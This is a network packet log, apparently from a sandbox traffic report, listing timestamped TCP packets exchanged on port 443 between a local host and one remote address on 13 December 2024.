Dec 13, 2024 13:28:39.618853092 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.618915081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.621227026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.621300936 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.622499943 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.622555971 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.624156952 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.624233961 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.626189947 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.626255989 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.627295971 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.627355099 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.629249096 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.629312992 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.631195068 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.631252050 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.632251024 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.632297993 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.634315968 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.634380102 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.636099100 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.636157990 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.719721079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.719794035 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.720746994 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.720814943 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.779943943 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.780030012 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.781759977 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.781836987 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.783307076 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.783375978 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.784447908 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.784509897 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.786412001 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.786484003 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.788273096 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.788331032 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.790242910 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.790313005 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.791488886 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.791569948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.793333054 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.793409109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.795355082 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.795417070 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.796413898 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.796488047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.798449039 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.798527002 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.800573111 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.800648928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.801457882 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.801532984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.803492069 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.803560972 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.805293083 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.805372953 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.806364059 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.806435108 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.808433056 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.808511019 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.810242891 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.810323954 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.811266899 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.811332941 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.813714027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.813796043 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.814949989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.815018892 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.816737890 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.816811085 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.818659067 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.818731070 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.819705009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.819778919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.821762085 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.821837902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.823621988 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.823688984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.824877977 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.824933052 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.826951027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.827023029 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.828654051 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.828726053 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.911640882 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.911736965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.913594007 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.913686991 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.972301960 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.972376108 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.974075079 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.974134922 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.975102901 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.975167036 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.977016926 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.977062941 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.979085922 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.979136944 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.980137110 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.980200052 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.982003927 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.982055902 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.984004974 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.984066010 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.985112906 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.985169888 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.986964941 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.987023115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.988945961 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.989012003 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.990081072 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.990149021 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.992037058 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.992110968 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.993928909 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.993983984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.995003939 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.995064020 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.997107983 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.997185946 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:39.998872042 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:39.998934984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.000041962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.000108957 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.002019882 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.002087116 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.003930092 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.003995895 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.005378962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.005440950 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.007381916 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.007440090 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.008450031 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.008511066 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.010485888 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.010569096 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.012331963 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.012399912 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.013406038 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.013464928 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.015429020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.015480995 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.017390966 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.017443895 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.018399000 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.018481970 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.103458881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.103528976 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.104753017 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.104813099 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.163928032 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.164006948 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.164381981 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.164427996 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.166424036 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.166492939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.168256998 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.168308020 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.169389009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.169440031 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.171372890 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.171426058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.173258066 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.173346043 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.174352884 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.174416065 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.176304102 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.176350117 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.178216934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.178272009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.179286003 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.179333925 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.181283951 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.181353092 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.183167934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.183310032 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.185138941 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.185187101 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.186300993 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.186350107 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.188201904 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.188250065 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.190113068 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.190164089 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.191227913 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.191279888 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.193147898 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.193198919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.195105076 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.195156097 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.196611881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.196672916 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.197710991 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.197753906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.199690104 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.199750900 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.201632023 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.201678991 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.203547955 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.203599930 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.204622030 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.204705954 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.206533909 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.206609964 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.208497047 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.208590984 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.209625959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.209892035 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.211493015 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.211536884 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.296122074 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.296183109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.296885014 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.296962023 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.355937958 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.356039047 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.357343912 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.357404947 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.358514071 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.358562946 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.360275030 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.360333920 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.362291098 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.362339973 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.363415956 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.363473892 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.365293980 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.365358114 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.367331028 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.367383003 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.368335962 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.368403912 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.370326996 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.370400906 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.372260094 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.372311115 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.373318911 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.373374939 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.375264883 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.375324011 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.377196074 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.377260923 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.378336906 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.378392935 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.380354881 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.380414009 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.382147074 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.382204056 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.384134054 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.384197950 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.385268927 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.385325909 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.387101889 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.387171030 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.388741970 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.388822079 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.390604019 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.390661001 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.391695023 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.391746044 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.393601894 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.393660069 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.395586014 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.395647049 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.396658897 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.396735907 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.398657084 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.398710966 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.400533915 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.400607109 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.402580023 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.402641058 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.404639959 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.404705048 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.490701914 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.490768909 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.491986990 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.492059946 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.548263073 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.548338890 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.549482107 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.549597979 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.551464081 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.551544905 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.552572966 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.552664042 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.554477930 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.554547071 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.556432009 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.556499958 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.557610989 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.557684898 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.559391975 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.559456110 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.561403990 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.561450958 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.562529087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.562589884 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.564481020 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.564526081 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.566354036 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.566406965 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.567436934 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.567497015 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.569437027 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.569489956 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.571358919 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.571434021 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.572393894 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.572462082 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.574460983 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.574542999 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.576318026 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.576390982 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.578301907 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.578373909 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.579407930 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.579463959 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.580928087 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.580987930 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.582957983 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.583015919 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.584753990 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.584824085 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.585843086 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.585891962 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.587800980 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.587869883 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.589740992 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.589803934 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.590866089 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.590926886 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.592806101 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.592874050 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.606190920 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.606264114 CET	49732	443	192.168.2.10	91.134.10.168
Dec 13, 2024 13:28:40.606321096 CET	443	49732	91.134.10.168	192.168.2.10
Dec 13, 2024 13:28:40.606364012 CET	49732	443	192.168.2.10	91.134.10.168
